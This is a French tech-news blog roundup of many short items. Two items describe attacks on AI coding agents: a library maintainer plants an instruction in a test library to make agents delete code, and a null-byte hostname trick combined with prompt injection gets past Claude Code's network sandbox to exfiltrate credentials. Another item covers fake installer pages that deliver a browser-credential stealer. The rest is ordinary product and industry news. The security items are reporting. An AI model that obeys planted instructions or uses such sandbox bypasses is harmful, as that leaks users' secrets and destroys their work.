Bonne nouvelle quand même. Tous les agents ne mordent pas à l'hameçon. Claude Code, l'assistant de codage d'Anthropic (le concurrent direct d'OpenAI sur les modèles d'IA), a repéré l'instruction dès le tout premier lancement des tests, a refusé net de l'exécuter, l'a signalée à son utilisateur, puis a carrément remonté la piste jusqu'au fichier responsable à l'intérieur de la bibliothèque. Les agents moins costauds, eux, n'ont pas forcément eu ce réflexe salvateur.
Depuis, Link a publié une 1.10.1. Le ton est plus doux : l'instruction ne réclame plus la suppression totale mais demande juste d'ignorer les résultats des tests jqwik. L'homme affirme recevoir des menaces, et il a fait savoir qu'il ne dirait plus rien tant qu'il n'aurait pas parlé à un avocat.
Prouver que l'IA mal surveillée est un danger, soit. Mais cramer le boulot de gens qui n'ont rien demandé pour le démontrer, ça fait quand même un sale coup.
Source : Techspot

Jean-Baptiste Kempf, le fondateur de VideoLAN, la communauté derrière le lecteur VLC, vient de lever le voile sur dav2d, un décodeur logiciel taillé pour AV2, le prochain grand codec vidéo libre.
Sa devise tient en une phrase qu'il assume complètement : un codec n'existe vraiment que le jour où tout le monde est capable de le décoder.
Pour bien comprendre, un codec, c'est la recette qui compresse une vidéo pour qu'elle pèse moins lourd à stocker et à transmettre, puis qui la reconstitue à la lecture.
AV2 est le successeur d'AV1, ce codec libre et sans redevances poussé par l'Alliance for Open Media face aux formats payants comme le HEVC, et il promet environ 25 % de compression en plus qu'AV1, parfois davantage selon les premières évaluations.
dav2d prolonge donc le travail entamé avec dav1d, le décodeur AV1 maison de VideoLAN qui est devenu, au fil des ans, le décodeur AV1 logiciel le plus déployé de la planète, présent aussi bien dans VLC et FFmpeg que dans Firefox, Chrome, Safari ou Android.
Le projet est ouvert, sous licence BSD comme son grand frère, et se développe publiquement sur le GitLab de VideoLAN depuis quelques semaines déjà.
Côté technique, dav2d gère déjà le 8 et le 10 bits, couvre l'intégralité des fonctions du décodeur de référence AVM v15, et embarque des optimisations écrites à la main en assembleur pour les processeurs Intel et AMD comme pour les puces ARM, avec du RISC-V en chantier et un outil de vérification intégré dès le premier jour.
Le vrai défi est là : décoder de l'AV2 est environ cinq fois plus lourd que décoder de l'AV1, ce qui rend un décodeur rapide et soigneusement optimisé absolument vital si on veut lire ces vidéos sans faire chauffer la machine.
La spécification d'AV2 vient tout juste d'être publiée par l'Alliance for Open Media, qui avait déjà mis la main à la poche pour financer une partie de dav1d à ses débuts.
Bref, le codec vidéo de demain a déjà son décodeur libre en route. Et quand VideoLAN s'y colle, on sait que ça finira tôt ou tard dans la moitié de nos appareils.
Source : Jean-Baptiste Kempf

Faut le reconnaître, malgré toute la bonne volonté qu'elle peut y mettre, y'a encore des tâches trop grosses pour être réalisées en une seule passe avec de l'IA, du genre auditer votre projet de Saas en mousse en intégralité ou traiter les milliers de fichiers que vous récupérez sur le darkweb (ça va, j'rigole mes petits Pablo). Hé bien c'est exactement ce que les dynamic workflows d'Anthropic, sortis hier avec Opus 4.8 dans Claude Code, viennent régler.
Et comme c'est encore un nouveau truc relou à savoir, je viens vous expliquer comment tout ceci fonctionne et dans quels cas les utiliser.
En fait, grâce à ça, au lieu de bosser tout seul en une fois, Claude écrit lui-même un petit script qui lance des dizaines, voire des centaines de sous-agents en parallèle, les fait se vérifier entre eux, et vous rend le résultat une fois que tout converge. Vous décrivez le chantier et lui s'occupe de l'orchestration et puis c'est tout !
Car jusqu'ici, un agent IA bossait en gros comme un employé seul à son bureau, avec une demande, une passe, une réponse. Ça marche donc très bien pour un bug isolé ou un bout de code mais dès que le chantier devient énorme, genre rechercher une faille dans tout un projet complexe ou reconstruire une API à partir de milliers de fichiers, là y'a plus personne... la passe unique sature et oublie alors des trucs en route.
Les dynamic workflows cassent donc ce plafond en découpant le boulot en sous-tâches confiées à plein d'agents qui tournent alors tous en même temps, et comme la coordination se passe en dehors de la conversation, pas d'inquiétude, le plan ne déraillera pas, même quand la tâche sera giganormouuuuus !
En fait, quand vous lancez un workflow, Claude planifie à la volée selon votre demande, découpe en sous-tâches, et répartit le tout sur des sous-agents en parallèle. Et chaque résultat est ensuite scrupuleusement vérifié avant d'être réintégré à la conversation principale.
Et comme c'est bien pensé, cette vérification est adversariale, ce qui veut dire que des agents attaquent le problème sous des angles indépendants pendant que d'autres essaient activement de démolir ce que les premiers ont trouvé. Ça tourne donc en boucle jusqu'à ce que les réponses convergent, ce qui élimine pas mal de conneries plausibles qui seraient fausses.
Autre bon point avec cette nouvelle technique, c'est la progression qui est sauvegardée au fil de l'eau. Comme ça si un job se fait interrompre, il repart où il en était dans la même session, au lieu de tout recommencer comme un débile. Et côté garde-fous, sachez qu'un workflow plafonnera max à 16 agents en parallèle et max 1000 agents au total par run, histoire que ça ne parte pas en cachuète !
Il y a 2 façons de lancer cette armée d'agents, et la première ne demande aucun réglage.
Vous demandez juste à Claude de créer un workflow, littéralement avec un truc du genre "crée un workflow pour faire X". Vous verrez, la première fois qu'un workflow se déclenchera, Claude Code vous montrera ce qu'il s'apprête à lancer et vous demandera de confirmer la chose. Comme ça, pas de surprise, c'est vous le boss et c'est vous qui validez avant que ça parte.
Mais y'a aussi la méthode automatique, qui consiste à activer un réglage maison appelé ultracode depuis le menu d'effort (/effort) durant une session en cours, qui pousse le raisonnement très haut (xhigh) et laisse ensuite Claude décider tout seul quand sortir un workflow pour les tâches qui le méritent.
Pour profiter de cette nouvelle feature, il vous faut Claude Code en version 2.1.154 ou plus récente, et ça tourne aussi bien en ligne de commande que sur l'app desktop ou l'extension VS Code. Côté abonnement, c'est dispo sur tous les plans payants... Sur le plan Pro faudra juste l'activer à la main dans le menu /config, alors que sur Max, Team et Enterprise c'est présent d'office.
Pour la chasse aux bugs ou les audits de sécurité sur un dépôt entier, où Claude fouille en parallèle puis revérifie chaque trouvaille de façon indépendante, c'est top ! Pour les grosses migrations aussi, genre changer de framework ou porter un langage vers un autre sur des milliers de fichiers c'est le top aussi surtout que comme je vous le disais, quand c'est critique, vaut mieux que ce soit vérifié deux fois plutôt qu'une !
Ils l'ont utilisé par exemple pour le portage de Bun du langage Zig vers Rust. Cela a pris 11 jours entre le premier commit et la fusion, avec des centaines d'agents en parallèle et deux relecteurs sur chacun des fichiers et au final ce sont plus de 750 000 lignes de Rust qui ont été réécrites. La société Klarna, de son côté, s'en sert pour repérer le code mort que l'analyse statique classique laissait passer.
Perso, ce que je trouve le plus utile, c'est pour les chantiers que je repoussais justement parce qu'ils étaient trop gros pour une seule session. Passer en revue le code de mon site de fond en comble (ce que j'ai fait ce matin), ou encore bosser plus efficacement sur le recompilateur que je suis en train de créer (je vous en recause bientôt..)
Évidemment, je suis lucide, ça a un coût et Anthropic prévient noir sur blanc qu'un dynamic workflow bouffe nettement plus de tokens qu'une session classique. Bah oui, des centaines d'agents qui tournent en parallèle, forcément, ça consomme à fond. Du coup leur conseil officiel, c'est de commencer sur une tâche bien cadrée pour prendre la mesure de ce que ça pompe avant de lâcher l'outil sur un gros morceau. C'est totalement ce que je n'ai pas fait ^^ mais je suis un punk, que voulez-vous !

Micode vient de lâcher une enquête de presque 50 minutes que vous devriez vraiment regarder, et je la relaie parce qu'elle est d'intérêt public.
Avec son équipe, il a infiltré pendant des mois le réseau derrière ces appels qui vous harcèlent plusieurs fois par jour, ces numéros en 0162 que l'Arcep réserve au démarchage et que les escrocs détournent allègrement. Genre les faux remboursements de 170 € soi-disant liés à l'inflation ou aux chèques énergie.
Et spoiler, ce n'est pas une petite arnaque artisanale mais une véritable industrie de l'escroquerie !
Et le piège est bien rodé. On vous promet un remboursement, on vous balade durant 30 minutes au téléphone, et on vous fait "cliquer 3 fois pour confirmer" sur un PDF. Sauf que ce que vous signez, c'est un mandat de prélèvement bien planqué et hop, vous voilà engagé à 18 € par mois durant un an pour une assistance plomberie dont vous n'avez rien à foutre.
Car donner votre IBAN ne suffit pas à vous prélever. Ce qui les autorise vraiment, c'est le mandat, donc encore une fois, on ne signe rien au téléphone. Jamais !
Et là où ça défonce, c'est la mécanique décrite par l'enquête de Micode. Des sociétés-écrans jetables (la fameuse "compagnie des assurances"), des centres d'appel au Maroc, et tout en haut une famille française, les frères Sitbon, qui auraient empoché des dizaines de millions d'euros en dix ans. Le système marche comme l'explique Micode, comme des fusibles. Une boîte crame sur internet, hop, on en remonte une neuve. L'enquête montre même des enregistrements audio recoupés au montage pour transformer une grand-mère qui refuse 10 fois en cliente parfaitement consentante. Perso, ça me débecte !
Et les intéressés contestent, parlent de "brebis galeuses" et de centres d'appel indépendants. Ils agitent aussi la menace judiciaire, genre "en cas d'insinuation diffamatoire, Anavi ne manquera pas d'agir en justice". Bref, l'arme classique des procédures-bâillon pour faire taire. Et comme la DGCCRF croule sous 300 000 signalements par an, votre prélèvement de 20 €, lui, il passe loin derrière.
Du coup, la seule vraie protection, c'est vous les amis ! Si y'a de l'argent gratuit au téléphone, vous raccrochez. Si on vous fout la pression, vous raccrochez. Puis vous pouvez aussi bloquer les démarcheurs avec une app comme Saracroche , et n'oubliez pas de surveiller vos prélèvements.
Et au moindre doute vous signalez sur SignalConso . De toute façon, vos coordonnées circulent déjà un peu partout, donc faut que vous soyez prêt à gérer ce genre de conneries. Pour ma part, je ne décroche plus mon téléphone, comme ça je suis tranquille ^^
Bref, regardez cette vidéo si c'est pas encore fait, et parlez-en autour de vous, surtout aux plus âgés. Ça évitera peut-être à quelqu'un de signer un truc qu'il n'a jamais voulu.

Anthropic, l'entreprise derrière l'IA Claude, a corrigé en douce deux failles dans le bac à sable réseau de Claude Code, son assistant de programmation. Un bac à sable, dans le jargon, c'est un enclos de sécurité : il est censé empêcher l'outil de se connecter à des serveurs non autorisés, pour éviter qu'il envoie vos données n'importe où. Sauf que pendant cinq mois et demi, cet enclos avait une porte dérobée.
La plus récente faille est en fait une jolie bidouille. Claude Code vous laisse définir une liste blanche, par exemple "autorise uniquement les connexions vers *.google.com". Un attaquant envoyait alors une adresse du genre "serveur-pirate.com<a target="_blank" rel="noreferrer noopener" href="http://0.google.com/">0.google.com", avec un caractère invisible (un octet nul) glissé au milieu.
Le filtre de sécurité, lui, lit la fin de la chaîne, voit ".google.com" et valide. Mais le système d'exploitation s'arrête au caractère invisible et se connecte en réalité à serveur-pirate.com. Le filtre et le système ne lisent pas la même adresse. La faille est là.
Combinée à une injection de prompt (le fait de cacher des instructions piégées dans un texte que l'IA va lire), la faille permettait d'exfiltrer des choses sensibles : identifiants cloud, jetons d'accès GitHub, accès aux services internes.
En clair, un dépôt de code piégé pouvait pousser Claude Code à expédier vos secrets vers le serveur de l'attaquant. Le trou a traversé plus de 130 versions de l'outil avant d'être bouché fin mars. Tout utilisateur de Claude Code qui faisait confiance à son bac à sable réseau était donc exposé sans le savoir, du développeur isolé à l'équipe en entreprise.
C'est le chercheur Aonan Guan, de Wyze Labs, qui a remonté le problème. Et sa phrase résume tout : un bac à sable troué, c'est pire que pas de bac à sable du tout. Celui qui n'a aucune protection le sait et reste prudent. Celui qui se croit protégé baisse la garde.
Anthropic affirme avoir trouvé et corrigé la faille de son côté avant le signalement, mais le souci, c'est qu'il n'y a eu ni CVE (le numéro de référence public qui catalogue une faille), ni note dans le journal des versions. Moche moche.
Source : The Register

Claude Code, c'est génial pour coder mais alors pour s'organiser... c'est chiant de fouuuu.
J'ai genre 200 fichiers .jsonl qui trainent dans ~/.claude/projects, y'a aucun moyen prévu pour savoir ce qui tourne en ce moment, et autant vous dire que reprendre une conversation d'il y a 3 jours relève de l'acrobatie.
Alors j'ai d'abord essayé les grep sauvages dans le dossier, les ls -lt pour trier par date...etc et en fait ça marche, mais c'est pas ce qu'on appelle un vrai workflow. Du coup j'ai cherché un truc plus propre et heureusement pour moi, des outils commencent à émerger autour de l'écosystème (je vous avais déjà parlé d' Opcode ) et Switchboard est clairement celui qui sort le plus du lot, je trouve.
C'est une app desktop open source (sous licence MIT) qui centralise toutes vos sessions dans une seule fenêtre. Comme ça, vous avez un navigateur organisé par projet avec une recherche full-text qui fouille dans les fichiers .jsonl de conversations (pas juste les dates) et ensuite, y'a plus qu'à taper des trucs comme "bug auth" ou je ne sais quoi dans la barre de recherche et en 2 secondes vous retrouvez votre fichier de session de mardi.
Le truc qui différencie Switchboard des autres projets du genre (y'en a une poignée, genre t3.codes ou conductor.build), c'est surtout qu'il fait fonctionner un vrai terminal, avec votre vraie session qui tourne dedans. L'avantage c'est que comme ça, vos raccourcis clavier et le copier-coller fonctionnent comme d'habitude.
Et le monitoring en temps réel, c'est clairement le gros plus car avec Switchboard vous pouvez afficher une grille avec toutes vos sessions ouvertes sur votre machine, chacune dans sa petite case avec un indicateur de statut. Comme ça, si un agent est bloqué parce qu'il attend une validation de permission, vous le voyez direct dans la sidebar. Attention par contre, ça ne marche qu'avec les sessions locales, car y'a pas de support SSH pour l'instant.
Ah et il y a aussi un mode IDE intégré qui est plutôt chouette. Quand Claude propose une modification de fichier, au lieu d'ouvrir VS Code ou Cursor, le diff s'affiche dans un panneau latéral directement dans Switchboard. Comme ça, vous pouvez accepter, rejeter, ou même accepter seulement certains morceaux du diff.
Autre fonctionnalité sympa, le fork de sessions. Vous pouvez repartir de n'importe quel point d'une conversation passée, genre comme vous le feriez avec un checkpoint dans un jeu vidéo. Vous avez aussi un éditeur CodeMirror intégré pour vos fichiers CLAUDE.md et vos plans (c'est plus pratique qu'ouvrir un vim à côté), + un bon vieux heatmap d'activité qui montre votre rythme de coding par projet.
Côté technique, c'est du Electron (oui, je sais 300 Mo sur le disque, ça fait toujours chier) avec SQLite en cache local pour la recherche. Et c'est distribué en .dmg pour macOS (Apple Silicon et Intel), .exe pour Windows et .AppImage/.deb pour Linux.
Pour tester, y'a donc juste à télécharger la dernière release pour votre OS et lancer l'app.
Bref, si vous jonglez avec plusieurs sessions au quotidien, ça vaut le coup d'essayer. Et si vous cherchez à enrichir votre setup, la marketplace de skills peut aussi compléter le tout.
Merci à Aurélien pour le lien ! (Vous aurez noté la rime ^^ désolééé)

Vous vous souvenez de l'encoche des MacBook Pro et autres Air d'Apple ? Mais siiii, celle qu'on avait tous trouvée bien moche en 2022, au point que je vous avais pondu un article entier pour la faire disparaître ! Hé bien 4 ans plus tard, sk-ruban a décidé de lui donner une vraie utilité avec notchi qui transforme proprement cette encoche maudite en un compagnon fait de pixel-art et d'amour qui réagit en temps réel à votre Claude Code.
La boucle est bouclée, mes amis !
Une fois installée, l'app détecte les événements de votre session Claude Code via les hooks officiels car ce sont eux qui balancent les "events" sur un socket Unix local qui sont ensuite parsés en temps réel afin d'animer les sprites logés dans le creux de votre encoche.
Cette mascotte a cinq états bien distincts. Elle se balade en mode idle quand vous bricolez à côté, elle s'agite quand Claude réfléchit, elle pique un roupillon en cas de pause prolongée, elle se concentre quand le contexte se compacte, et elle vous fait les gros yeux quand l'IA attend une validation.
Ça bosse fort !
Un clic sur l'encoche et le panneau s'étend pour afficher le feed des événements, votre temps de session, et le quota d'usage restant.
L'option d'analyse de sentiment est également très sympa. Si vous lui fournissez une clé API Anthropic, l'app analysera alors vos prompts pour faire varier l'humeur de la mascotte entre joyeux, triste, neutre ou pleurnichard. À noter quand même que chaque prompt déclenche un appel API facturé sur votre compte Anthropic, donc à activer en conscience si vous bombardez Claude toute la journée et que vous êtes pété de thunes. Ce dont je ne doute pas un instant !!
Les options de Notchi
Et pour ceux qui jonglent avec plusieurs instances de Claude Code, les sessions concurrentes sont également supportées avec un sprite individuel par session, histoire d'éviter la confusion quand vous lancez 3 agents en parallèle.
Sk-ruban s'est inspiré de Claude Island et Readout (deux autres projets qui détournent l'encoche), et les sprites sont dessinés sur Aseprite. C'est un peu dans le même esprit que Peon Ping qui balance des sons de Warcraft à chaque action de votre agent, mais avec un aspect visuel ludique plutôt que sonore. Il y a même déjà un portage Windows réalisé par AptatoX pour ceux qui ne sont pas sur Mac.
Au niveau prérequis, comptez macOS 15 Sequoia minimum et un MacBook avec une vraie encoche, ce qui exclut les MacBook Air sans notch et les MBP d'avant la refonte 14/16 pouces. Le projet est sous licence GPL-3.0 et l'install se fait par Homebrew avec brew install --cask notchi, ou en DMG direct depuis les releases.
Et un grand merci à Camille Roux pour le partage !

Des faux installateurs Claude Code se baladent dans Google
Les chercheurs d'Ontinue, une boîte de cybersécurité, ont publié une analyse d'une campagne de vol de données qui vise directement les développeurs.
La méthode est en fait assez simple. Vous tapez "install claude code" dans Google, vous cliquez, plein d'innocence, sur le premier résultat sponsorisé, et là vous tombez sur une page qui ressemble trait pour trait à la doc officielle d'Anthropic. Sauf que le serveur derrière n'a rien à voir, et la commande d'installation à copier-coller a été modifiée.
L'astuce technique est intéressante. La commande PowerShell affichée n'est pas visible dans le code source qu'un scanner automatique pourrait analyser, elle est générée à la volée dans le HTML de la page. Du coup, les scans de sécurité voient du contenu légitime, l'utilisateur copie une commande malveillante, et paf, un loader PowerShell d'environ 600 Ko se lance discrètement.
Ce loader essaie ensuite quelque chose de carrément vicieux. Il abuse de IElevator2, une interface interne de Chromium (le moteur derrière Chrome, Edge, Brave, Vivaldi, Opera) lancée en janvier 2026 par Google pour mieux protéger les cookies et mots de passe avec un chiffrement renforcé. Le malware injecte un petit module dans le navigateur pour appeler cette interface depuis l'intérieur, ce qui lui permet de récupérer les clés et de déchiffrer toute la base. Cookies de session, mots de passe enregistrés, infos de paiement. Tout y passe.
Trois domaines pirates ont été enregistrés sur six jours en avril, tous derrière Cloudflare pour compliquer le takedown. Le bout de code utilisé ne correspond à aucune famille de malware connue (Lumma, StealC, Vidar). Le plus proche serait Glove Stealer, repéré en novembre 2024, mais avec une orchestration différente. Bref, ce serait un nouveau venu fabriqué exprès pour cette campagne.
Et la cible, c'est précisément les développeurs. Ce sont eux qui installent Claude Code (l'outil en ligne de commande d'Anthropic pour coder avec l'IA, concurrent direct de Cursor).
Et un développeur, dans son navigateur, c'est l'accès à GitHub, à AWS, à des dashboards de production, à des comptes Cloud, à des secrets qui se revendent potentiellement très cher. Les défenses classiques qui surveillent les exécutables natifs ne voient rien, tout se joue au niveau de l'appel COM (la mécanique Windows qui permet à des programmes de se parler entre eux) et de PowerShell.
Petit conseil : passez par anthropic.com directement, jamais par un résultat sponsorisé. Si vous avez collé une commande douteuse récemment, c'est le moment de regarder ce qui tourne sur votre machine.
Source : Infosecurity Magazine

Si vous avez committé du code depuis VS Code depuis mi-avril, allez tout de suite vérifier vos messages de commit car vous avez peut-être un nouveau co-auteur que vous n'avez jamais embauché.
En effet, Microsoft a discrètement basculé le réglage par défaut de l'éditeur pour ajouter Co-authored-by: Copilot <copilot@github.com> à des commits que VS Code considérait à tort comme contenant des contributions IA, même quand vous n'avez pas utilisé Copilot, et même quand vous avez explicitement désactivé toutes les fonctions IA.
Quelle lose, hein ? La Product Manager Courtney Webster a poussé cette fameuse pull request #310226 des enfers le 15 avril dernier sans aucune description, et le dev dmitrivMS l'a mergée tranquillou le lendemain.
Et le résultat de tout ce bordel, vous pouvez le lire dans la PR #310226 qui a explosé sur GitHub : 372 pouces baissés contre 2 levés, 30 réactions "confused", et des dizaines de commentaires furieux.
L' issue de suivi #314311 , ouverte ensuite par dmitrivMS pour faire son point public, a elle aussi reçu un torrent de réactions virulentes. Tu m'étonnes, ils font vraiment n'importe quoi...
Maintenant si vous êtes dans ce cas, vous pouvez neutraliser ça immédiatement, ajoutez dans votre settings.json :
"git.addAICoAuthor": "off"
C'est le seul réglage qui marche vraiment, parce que dans la version buguée même chat.disableAIFeatures à true n'arrêtait pas le soucis. Et pour votre historique déjà bien pollué, un git rebase -i ou un git filter-branch permettra de virer les contributeurs parasites dans vos derniers commits. Mais après bonne chance si vos commits sont déjà sur des PR mergées chez d'autres. Là c'est mort...
Ce que les devs reprochent à Microsoft, c'est pas vraiment d'avoir créé l'option (elle existait depuis VS Code 1.110 en opt-in tranquille). Non, le vrai problème c'est surtout ce qu'il y a derrière cette vilaine Pull Request... 2 fichiers touchés, le change de "default", absolument AUCUNE description, une seule review d'approbation toute nulle, et hop, c'est mergé OKLM.
Pour un changement qui touche les messages de commit de plusieurs millions de devs, ça sent quand même la décision unilatérale prise à l'arrache entre 2 portes...
Et puis surtout il y a le bug #313064 qui a fait basculer l'histoire de la simple polémique à la grosse colère communautaire.
En effet, la nouvelle valeur par défaut "all" attribuait à Copilot des complétions qui ne venaient PAS de Copilot. Un dev explique par exemple avoir tapé son code à la main, vérifié son message de commit, supprimé toute suggestion Copilot, écrit le sien à la main... et a finalement retrouvé quand même Co-authored-by: Copilot dans le git log final.
Et comme le mode "je ne veux pas d'IA" n'était pas plus respecté, l'IA s'auto-créditait quand même sur tout et n'importe quoi.
Côté communauté, le ton est monté très vite. Sur le fil GitHub, y'en a un qui écrit que, je cite, "C'est pas une régression, c'est de la fraude. On ne peut pas s'attribuer un travail qu'on n'a pas fait." et un autre dev parle de "vandalisme" pur.
Windows Central a même sorti un titre choc : "This could cost people their jobs", parce que dans les boites en fintech ou sur du code soumis à audit, faire passer du code humain pour de l'IA-assisté peut coller un fail d'audit et faire péter des contrats. Ah bah ouais, j'avoue que je n'y avais pas pensé...
Heureusement, Microsoft a fini par bouger puisque dans VS Code 1.118 , le default est finalement repassé de "all" à "chatAndAgent", déjà moins agressif. Et dans la PR #313931 , dmitrivMS a remis le default à "off" pour la version 1.119, dont le déploiement public commence justement aujourd'hui.
Bien sûr, la Product Manager a fait son mea culpa public, en reconnaissant, je cite que "la manière dont c'était implémenté et déployé n'a pas atteint le niveau de correction attendu", ce qui, dans la langue corporate, veut dire "on est des branleurs, déso, bisous".
Maintenant ce qui revient souvent dans les commentaires, c'est que Claude Code et Codex CLI font la même chose par défaut quand ils committent, sauf que la différence, c'est que ces agents committent quand C'EST EUX qui ont écrit le code, donc le co-author est tout a fait légitime.
VS Code, lui, modifiait des commits écrits à la main par des humains donc c'est pas du tout le même problème. Et pour le coup, sur Codex CLI la mention reste aussi désactivable via une option alors que chez Claude Code même si c'est pareil, l'opt-out n'est pas toujours très respecté d'après les retours que j'ai pu lire.
En tout cas, ce loupé arrive dans un climat déjà tendu puisque Microsoft pousse Copilot dans Windows, dans Notepad, dans Office, et même jusque dans l'écosystème Apple via une extension Xcode , dans tous les coins, et beaucoup de devs commencent à voir chaque nouveauté MS à travers ce prisme. La théorie du "ils gonflent les KPI Copilot pour les boards et les analystes" de plus en plus crédible et comme personne n'aime se sentir transformé en stat marketing, tout le monde commence à se barrer des outils et services Microsoft.
Maintenant, si vous voulez vraiment vous protéger des prochains coups foireux de M$, je vous propose d'abord de basculer sur VSCodium ou Zed , deux éditeurs sans télémétrie ni AI imposée. Et ensuite, déménager vos repos chez Codeberg ou Forgejo en suivant la procédure de migration que je vous donne dans cet article Patreon, comme ça même si Microsoft fait n'importe quoi côté éditeur, votre code n'est plus chez eux côté forge.
À voir maintenant si Microsoft tient ses promesses sur le consentement explicite avant toute mention d'agent IA, ou si on rejouera ce film encore et encore tous les 6 mois sur une autre fonctionnalité.

Si vous utilisez Claude Code au quotidien, vous connaissez ce goût de sang qui vous monte dans la bouche lorsque, sans prévenir, cette putain de limite de quota imposée par Anthropic vous explose à la gueule ! Et le pire c'est que vous n'avez pas l'impression d'avoir fait grand chose.
En réalité, la vraie raison c'est surtout le "bruit" de toutes vos sorties shell. Un git log, un cargo test, un npm build... votre agent IA ingère tout ça comme du petit lait alors qu'il n'a besoin que d'une fraction pour comprendre ce qui se passe.
Breeef, c'est pas ouf quoi.
Heureusement pour vous RTK (Rust Token Killer) vient régler en partie ce problème. RTK c'est développé par un Français et c'est un proxy CLI en Rust qui s'intercale entre votre shell et votre agent IA, intercepte les commandes courantes et compresse leur sortie avant qu'elle n'atterrisse dans le contexte de votre agent.
Comme ça plutôt que de massacrer vos prompts ou de changer vos habitudes (et dieu sait que vous avez horreur de changer d'habitudes..lol), il attaque le bruit à la source grâce à 4 stratégies de compression : un filtrage du boilerplate, un regroupement des lignes similaires, une troncature intelligente et de la déduplication des répétitions.
Et tout ça s'intègre merveilleusement bien via un hook pour Claude Code, GitHub Copilot, Cursor, Gemini CLI, Windsurf, Cline, Codex... soit une bonne dizaine d'outils supportés !
Ainsi, votre git status devient rtk git status sans changer quoi que ce soit à vos habitudes... RTK fait tout le filtrage dans votre dos, ce qui est parfait ! C'est un outil qu'on installe et qu'on oublie.
Par exemple un git diff passe de 12 000 tokens à 960, soit 92% d'économie, un npm test tombe de 6 000 à 600 tokens et une session de refactoring sur 12 fichiers passe de 74 700 à 6 960 tokens d'après les benchmarks. En pratique, les utilisateurs constatent des économies autour de 70% sur l'ensemble d'une journée de boulot, ce qui représente plusieurs millions de tokens par semaine pour ceux qui bossent avec des agents IA à plein régime.
Moi ça fait plusieurs mois que je le teste et voici mes stats. Ça donne quand même 81,5 % d'économie de tokens !!
L'installation se fait en une commande : brew install rtk sur macOS, ou un script curl pour les autres plateformes, ou cargo install --git https://github.com/rtk-ai/rtk si vous préférez compiler ça vous-même.
Avec la commande rtk gain vous verrez un tableau comme ci-dessus avec les statistiques par commande, et rtk gain --history donnera l'historique détaillé. Y'a plus de 100 commandes couvertes, de git aux runners de tests en passant par AWS CLI, kubectl et docker. Par contre, ça marche pas super bien si vos sorties de commandes sont déjà très courtes. Ça ne fera pas de miracle mais pour des diffs volumineux ou de suites de tests qui crachent 3 000 lignes à chaque fois, c'est tip top !
Si vous utilisez des agents en mode autonome où une boucle tourne sans intervention, c'est même encore plus pertinent car chaque itération accumule du bruit de façon cumulative, et du coup le contexte se remplit de trucs inutiles à vitesse grand V. Moins de bruit grâce à RTK, c'est donc une économie de tokens mais c'est également un meilleur signal pour votre agent.
RTK est dispo en open source sur GitHub sous licence Apache 2.0.

Starcraft2.ai débarque en force pour les joueurs de StarCraft 2 et de Brood War qui voudraient disséquer leurs replays sans bouger de leur navigateur. Le créateur de ce site, qui se présente sous le pseudo de Tomkit, a sorti un analyseur gratuit qui combine un moteur de rendu isométrique et un coach IA.
Vous balancez un fichier .SC2Replay (ou .rep pour Brood War), et chose incroyableuuuh, le site reconstruit votre partie complète en vue isométrique avec mouvement des unités, brouillard de guerre activable / désactivable et heatmaps. Comme ça plus besoin de relancer le client pour mater une partie.
Et le truc qui tue, c'est que vous pouvez aussi partager n'importe quel replay via une simple URL.
L'outil derrière ce projet, c'est sc2reader (la bibliothèque Python de référence pour Starcraft) qui parse intégralement les binaires des replays : Position détaillée des unités, séquence des ordres de construction, économie, kills, tout est extrait du fichier directement.
Le truc cool, c'est évidemment le coach IA. L'outil envoie le contexte de la partie (courbe d'éco, build order, échanges d'unités, résultat des batailles) à Claude, qui sort alors un debrief avec des conseils actionnables. Par exemple, le LLM identifie le type de stratégie déployée (timing attack, macro, all-in, cheese) et balance des recommandations basées sur les standards pro. C'est quand même bien plus utile que tous ces guides génériques qu'on retrouve en ligne.
Puis ce qui est cool avec ce logiciel, c'est aussi le support de Brood War et à où j'écris ces lignes, c'est l'un des seuls analyseurs encore maintenus pour le vieux premier StarCraft . Donc pour ceux qui parmi vous ont encore des replays archivés depuis l'ère du modem 56k, c'est carrément une bonne nouvelle !
Bref, si vous jouez encore à SC2 ou si vous voulez juste mater de beaux replays sans lancer le jeu, c'est par ici .

"GitHub n'est plus un endroit pour faire du travail sérieux."
C'est signé Mitchell Hashimoto, le créateur de HashiCorp, de Vagrant ou plus récemment de Ghostty, et l'utilisateur numéro 1299 de la plateforme depuis février 2008.
Et quand un mec qui a passé 18 ans à pousser du code presque tous les jours sur Github annonce qu'il se casse, bah ça vaut clairement le coup de comprendre pourquoi.
L'annonce est tombée hier : Ghostty , le terminal en Zig pour macOS et Linux va quitter la plateforme. Pas tout de suite, pas brutalement, mais la décision est prise. Hashimoto précise qu'il discute "avec plusieurs fournisseurs (commerciaux comme FOSS)" pour choisir la nouvelle maison pour son code, et qu'un miroir en lecture seule restera accessible sur l'URL GitHub actuelle pour ne pas casser les liens des PRs et des issues. La migration sera, je cite, "aussi incrémentale que possible" pour les contributeurs.
Mais alors, qu'est-ce qui a déclenché cette situation ? Hé bien la semaine du 20 avril a été vraiment catastrophique ! Tout d'abord, le 22 avril, l'agent Copilot et le traitement des commentaires de PR sont tombés une demi-journée à cause d'une erreur de sérialisation. Le 23 avril, c'était encore pire puisqu'un bug dans la merge queue a produit des merges incorrects pour les PRs fusionnées en mode squash quand le groupe contenait plus d'une PR.
Cette situation a même été carrément reconnue officiellement par GitHub, puisque 2092 pull requests ont été affectées ... du coup des changements précédemment mergés se sont retrouvés involontairement annulés par les merges suivants. Ensuite, le 27 avril, rebelote sur les Github Actions.
Bref, comme le dit Hashimoto dans The Register : "je ne peux plus coder avec GitHub".
Hashimoto fait état d'un attachement quasi sentimental avec la plateforme. Il a lancé Vagrant en partie pour impressionner GitHub, en espérant secrètement décrocher une embauche un jour. Embauche qui n'est jamais venue, mais l'attachement est resté. "J'aime GitHub plus qu'on devrait aimer une chose", écrit-il, "et je suis en colère contre lui".
C'est pas de la posture donc puisqu'il a vécu depuis 2008 toute l'histoire de la plateforme en passant par le rachat par Microsoft en 2018 jusqu'à l'âge Copilot. Et c'est ce qui rend sa décision vachement intéressante car c'est pas un libriste hardcore qui crachait déjà sur GitHub avant le rachat. Non, c'est un vrai fidèle de la première heure !
Mitchell Hashimoto ( Source )
Alors ses raisons sont-elles valables ?
Pour vous la faire courte, c'est OUI ! Mais ma réponse longue mérite un peu de nuance quand même, parce que c'est jamais aussi simple.
Côté faits, son constat est vraiment étayé. GitHub a publiquement reconnu sur son blog officiel que ses récentes pannes sont dues à "une croissance rapide, un couplage architectural et des limitations de gestion de charge". Pas de complot donc mais un aveu honnête.
